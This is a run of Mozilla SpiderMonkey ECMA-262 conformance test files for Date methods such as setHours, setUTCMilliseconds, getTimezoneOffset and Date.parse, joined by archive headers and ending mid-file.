Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var TITLE = "Date.prototype.setTime" var SECTION = "15.9.5.24-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)"); addTestCase( 0, "-86400000" ); test(); function addTestCase( startms, newms ) { var DateCase = new Date( startms ); DateCase.setMilliseconds( newms ); var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date"; var UTCDate = UTCDateFromTime( Number(newms) ); var LocalDate = LocalDateFromTime( Number(newms) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.13-5.js0000664000175000017500000000212612106270663020412 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.13.js ECMA Section: 15.9.5.13 Description: Date.prototype.getUTCDay 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return WeekDay(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.13"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDay()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_2000 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getUTCDay()", WeekDay((d)), (new Date(d)).getUTCDay() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.21-1.js0000664000175000017500000000167212106270663020412 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.21.js ECMA Section: 15.9.5.21 Description: Date.prototype.getUTCMilliseconds 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return msFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.21"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCMilliseconds()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); test(); function addTestCase( t ) { new TestCase( SECTION, "(new Date("+t+")).getUTCMilliseconds()", msFromTime(t), (new Date(t)).getUTCMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.10-11.js0000664000175000017500000000264312106270663020470 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.10.js ECMA Section: 15.9.5.10 Description: Date.prototype.getDate 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return DateFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDate()"; writeHeaderToLog( SECTION + " "+ TITLE); // some daylight savings time cases var DST_END_1998 = GetDSTEnd(TimeFromYear(1998)); addTestCase( DST_END_1998 ); new TestCase( SECTION, "(new Date(NaN)).getDate()", NaN, (new Date(NaN)).getDate() ); new TestCase( SECTION, "Date.prototype.getDate.length", 0, Date.prototype.getDate.length ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDate()", DateFromTime(LocalTime(d)), (new Date(d)).getDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.4.2-1.js0000664000175000017500000000344612106270663020331 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** * File Name: * Reference: http://bugzilla.mozilla.org/show_bug.cgi?id=4088 * Description: Date parsing gets 12:30 AM wrong. * New behavior: * js> d = new Date('1/1/1999 13:30 AM') * Invalid Date * js> d = new Date('1/1/1999 13:30 PM') * Invalid Date * js> d = new Date('1/1/1999 12:30 AM') * Fri Jan 01 00:30:00 GMT-0800 (PST) 1999 * js> d = new Date('1/1/1999 12:30 PM') * Fri Jan 01 12:30:00 GMT-0800 (PST) 1999 * Author: christine@netscape.com */ var SECTION = "15.9.4.2-1"; // provide a document reference (ie, ECMA section) var VERSION = "ECMA"; // Version of JavaScript or ECMA var TITLE = "Regression Test for Date.parse"; // Provide ECMA section title or a description var BUGNUMBER = "http://bugzilla.mozilla.org/show_bug.cgi?id=4088"; // Provide URL to bugsplat or bugzilla report startTest(); // leave this alone AddTestCase( "new Date('1/1/1999 12:30 AM').toString()", new Date(1999,0,1,0,30).toString(), new Date('1/1/1999 12:30 AM').toString() ); AddTestCase( "new Date('1/1/1999 12:30 PM').toString()", new Date( 1999,0,1,12,30 ).toString(), new Date('1/1/1999 12:30 PM').toString() ); AddTestCase( "new Date('1/1/1999 13:30 AM')", "Invalid Date", new Date('1/1/1999 13:30 AM').toString() ); AddTestCase( "new Date('1/1/1999 13:30 PM')", "Invalid Date", new Date('1/1/1999 13:30 PM').toString() ); test(); // leave this alone. this executes the test cases and // displays results. mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.22-3.js0000664000175000017500000000213512106270663020410 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.22.js ECMA Section: 15.9.5.22 Description: Date.prototype.getTimezoneOffset Returns the difference between local time and UTC time in minutes. 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return (t - LocalTime(t)) / msPerMinute. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.22"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getTimezoneOffset()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_1970 ); test(); function addTestCase( t ) { for ( m = 0; m <= 1000; m+=100 ) { t++; new TestCase( SECTION, "(new Date("+t+")).getTimezoneOffset()", (t - LocalTime(t)) / msPerMinute, (new Date(t)).getTimezoneOffset() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.30-1.js0000664000175000017500000001437512106270663020416 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.30-1.js ECMA Section: 15.9.5.30 Date.prototype.setHours(hour [, min [, sec [, ms ]]] ) Description: If min is not specified, this behaves as if min were specified with the value getMinutes( ). If sec is not specified, this behaves as if sec were specified with the value getSeconds ( ). If ms is not specified, this behaves as if ms were specified with the value getMilliseconds( ). 1. Let t be the result of LocalTime(this time value). 2. Call ToNumber(hour). 3. If min is not specified, compute MinFromTime(t); otherwise, call ToNumber(min). 4. If sec is not specified, compute SecFromTime(t); otherwise, call ToNumber(sec). 5. If ms is not specified, compute msFromTime(t); otherwise, call ToNumber(ms). 6. Compute MakeTime(Result(2), Result(3), Result(4), Result(5)). 7. Compute UTC(MakeDate(Day(t), Result(6))). 8. Set the [[Value]] property of the this value to TimeClip(Result(7)). 9. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.30-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setHours( hour [, min, sec, ms] )"); addNewTestCase( 0,0,0,0,void 0, "TDATE = new Date(0);(TDATE).setHours(0);TDATE" ); addNewTestCase( 28800000, 23, 59, 999,void 0, "TDATE = new Date(28800000);(TDATE).setHours(23,59,999);TDATE" ); addNewTestCase( 28800000, 999, 999, void 0, void 0, "TDATE = new Date(28800000);(TDATE).setHours(999,999);TDATE" ); addNewTestCase( 28800000,999,0, void 0, void 0, "TDATE = new Date(28800000);(TDATE).setHours(999);TDATE" ); addNewTestCase( 28800000,-8, void 0, void 0, void 0, "TDATE = new Date(28800000);(TDATE).setHours(-8);TDATE" ); addNewTestCase( 946684800000,8760, void 0, void 0, void 0, "TDATE = new Date(946684800000);(TDATE).setHours(8760);TDATE" ); addNewTestCase( TIME_2000 - msPerDay, 23, 59, 59, 999, "d = new Date( " + (TIME_2000-msPerDay) +"); d.setHours(23,59,59,999)" ); addNewTestCase( TIME_2000 - msPerDay, 23, 59, 59, 1000, "d = new Date( " + (TIME_2000-msPerDay) +"); d.setHours(23,59,59,1000)" ); test(); function addNewTestCase( time, hours, min, sec, ms, DateString) { var UTCDate = UTCDateFromTime( SetHours( time, hours, min, sec, ms )); var LocalDate = LocalDateFromTime( SetHours( time, hours, min, sec, ms )); var DateCase = new Date( time ); if ( min == void 0 ) { DateCase.setHours( hours ); } else { if ( sec == void 0 ) { DateCase.setHours( hours, min ); } else { if ( ms == void 0 ) { DateCase.setHours( hours, min, sec ); } else { DateCase.setHours( hours, min, sec, ms ); } } } new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.day = WeekDay( t ); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); return (d); } function SetHours( t, hour, min, sec, ms ) { var TIME = LocalTime(t); var HOUR = Number(hour); var MIN = ( min == void 0) ? MinFromTime(TIME) : Number(min); var SEC = ( sec == void 0) ? SecFromTime(TIME) : Number(sec); var MS = ( ms == void 0 ) ? msFromTime(TIME) : Number(ms); var RESULT6 = MakeTime( HOUR, MIN, SEC, MS ); var UTC_TIME = UTC( MakeDate(Day(TIME), RESULT6) ); return ( TimeClip(UTC_TIME) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.25-1.js0000664000175000017500000001363512106270663020420 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.25-1.js ECMA Section: 15.9.5.25 Date.prototype.setUTCMilliseconds(ms) Description: 1. Let t be this time value. 2. Call ToNumber(ms). 3. Compute MakeTime(HourFromTime(t), MinFromTime(t), SecFromTime(t), Result(2)). 4. Compute MakeDate(Day(t), Result(3)). 5. Set the [[Value]] property of the this value to TimeClip(Result(4)). 6. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.25-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setUTCMilliseconds(ms)"); addNewTestCase( 0, 0, "TDATE = new Date(0);(TDATE).setUTCMilliseconds(0);TDATE", UTCDateFromTime(SetUTCMilliseconds(0,0)), LocalDateFromTime(SetUTCMilliseconds(0,0)) ); addNewTestCase( 28800000,999, "TDATE = new Date(28800000);(TDATE).setUTCMilliseconds(999);TDATE", UTCDateFromTime(SetUTCMilliseconds(28800000,999)), LocalDateFromTime(SetUTCMilliseconds(28800000,999)) ); addNewTestCase( 28800000,-28800000, "TDATE = new Date(28800000);(TDATE).setUTCMilliseconds(-28800000);TDATE", UTCDateFromTime(SetUTCMilliseconds(28800000,-28800000)), LocalDateFromTime(SetUTCMilliseconds(28800000,-28800000)) ); addNewTestCase( 946684800000,1234567, "TDATE = new Date(946684800000);(TDATE).setUTCMilliseconds(1234567);TDATE", UTCDateFromTime(SetUTCMilliseconds(946684800000,1234567)), LocalDateFromTime(SetUTCMilliseconds(946684800000,1234567)) ); addNewTestCase( 946684800000, 123456789, "TDATE = new Date(946684800000);(TDATE).setUTCMilliseconds(123456789);TDATE", UTCDateFromTime(SetUTCMilliseconds(946684800000,123456789)), LocalDateFromTime(SetUTCMilliseconds(946684800000,123456789)) ); addNewTestCase( -2208988800000,123456789, "TDATE = new Date(-2208988800000);(TDATE).setUTCMilliseconds(123456789);TDATE", UTCDateFromTime(SetUTCMilliseconds(-2208988800000,123456789)), LocalDateFromTime(SetUTCMilliseconds(-2208988800000,123456789)) ); addNewTestCase( -2208988800000,123456, "TDATE = new Date(-2208988800000);(TDATE).setUTCMilliseconds(123456);TDATE", UTCDateFromTime(SetUTCMilliseconds(-2208988800000,123456)), LocalDateFromTime(SetUTCMilliseconds(-2208988800000,123456)) ); addNewTestCase( -2208988800000,-123456, "TDATE = new Date(-2208988800000);(TDATE).setUTCMilliseconds(-123456);TDATE", UTCDateFromTime(SetUTCMilliseconds(-2208988800000,-123456)), LocalDateFromTime(SetUTCMilliseconds(-2208988800000,-123456)) ); addNewTestCase( 0,-999, "TDATE = new Date(0);(TDATE).setUTCMilliseconds(-999);TDATE", UTCDateFromTime(SetUTCMilliseconds(0,-999)), LocalDateFromTime(SetUTCMilliseconds(0,-999)) ); test(); function addNewTestCase( initialTime, ms, DateString, UTCDate, LocalDate) { DateCase = new Date(initialTime); DateCase.setUTCMilliseconds(ms); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetUTCMilliseconds( T, MS ) { T = Number( T ); TIME = MakeTime( HourFromTime(T), MinFromTime(T), SecFromTime(T), MS ); return( MakeDate( Day(T), TIME )); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.33-1.js0000664000175000017500000001076712106270663020422 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.33-1.js ECMA Section: 15.9.5.33 Date.prototype.setUTCDate(date) Description: 1. Let t be this time value. 2. Call ToNumber(date). 3. Compute MakeDay(YearFromTime(t), MonthFromTime(t), Result(2)). 4. Compute MakeDate(Result(3), TimeWithinDay(t)). 5. Set the [[Value]] property of the this value to TimeClip(Result(4)). 6. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.33-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setUTCDate(date) "); addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCDate(31);TDATE", UTCDateFromTime(SetUTCDate(0,31)), LocalDateFromTime(SetUTCDate(0,31)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCDate(1);TDATE", UTCDateFromTime(SetUTCDate(0,1)), LocalDateFromTime(SetUTCDate(0,1)) ); addNewTestCase( "TDATE = new Date(86400000);(TDATE).setUTCDate(1);TDATE", UTCDateFromTime(SetUTCDate(86400000,1)), LocalDateFromTime(SetUTCDate(86400000,1)) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetUTCDate( t, date ) { var T = t; var DATE = Number( date ); var RESULT3 = MakeDay(YearFromTime(T), MonthFromTime(T), DATE ); return ( TimeClip(MakeDate(RESULT3, TimeWithinDay(t))) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.4-1.js0000664000175000017500000000276212106270663020334 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.4-1.js ECMA Section: 15.9.5.4-1 Date.prototype.getTime Description: 1. If the this value is not an object whose [[Class]] property is "Date", generate a runtime error. 2. Return this time value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.4-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getTime"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); addTestCase( UTC_JAN_1_2005 ); test(); function addTestCase( t ) { new TestCase( SECTION, "(new Date("+t+").getTime()", t, (new Date(t)).getTime() ); new TestCase( SECTION, "(new Date("+(t+1)+").getTime()", t+1, (new Date(t+1)).getTime() ); new TestCase( SECTION, "(new Date("+(t-1)+").getTime()", t-1, (new Date(t-1)).getTime() ); new TestCase( SECTION, "(new Date("+(t-TZ_ADJUST)+").getTime()", t-TZ_ADJUST, (new Date(t-TZ_ADJUST)).getTime() ); new TestCase( SECTION, "(new Date("+(t+TZ_ADJUST)+").getTime()", t+TZ_ADJUST, (new Date(t+TZ_ADJUST)).getTime() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.12-3.js0000664000175000017500000000215112106270663020405 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.12.js ECMA Section: 15.9.5.12 Description: Date.prototype.getDay 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return WeekDay(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.12"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDay()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_1970 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDay()", WeekDay((LocalTime(d))), (new Date(d)).getDay() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.35-1.js0000664000175000017500000001073312106270663020415 0ustar sstanglsstangl// |reftest| fails-if(Android) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.35-1.js ECMA Section: 15.9.5.35 Date.prototype.setUTCMonth(mon [,date]) Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.35-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setUTCMonth(mon [,date] ) "); addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCMonth(0);TDATE", UTCDateFromTime(SetUTCMonth(0,0)), LocalDateFromTime(SetUTCMonth(0,0)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCMonth(11);TDATE", UTCDateFromTime(SetUTCMonth(0,11)), LocalDateFromTime(SetUTCMonth(0,11)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCMonth(5,4);TDATE", UTCDateFromTime(SetUTCMonth(0,5,4)), LocalDateFromTime(SetUTCMonth(0,5,4)) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( 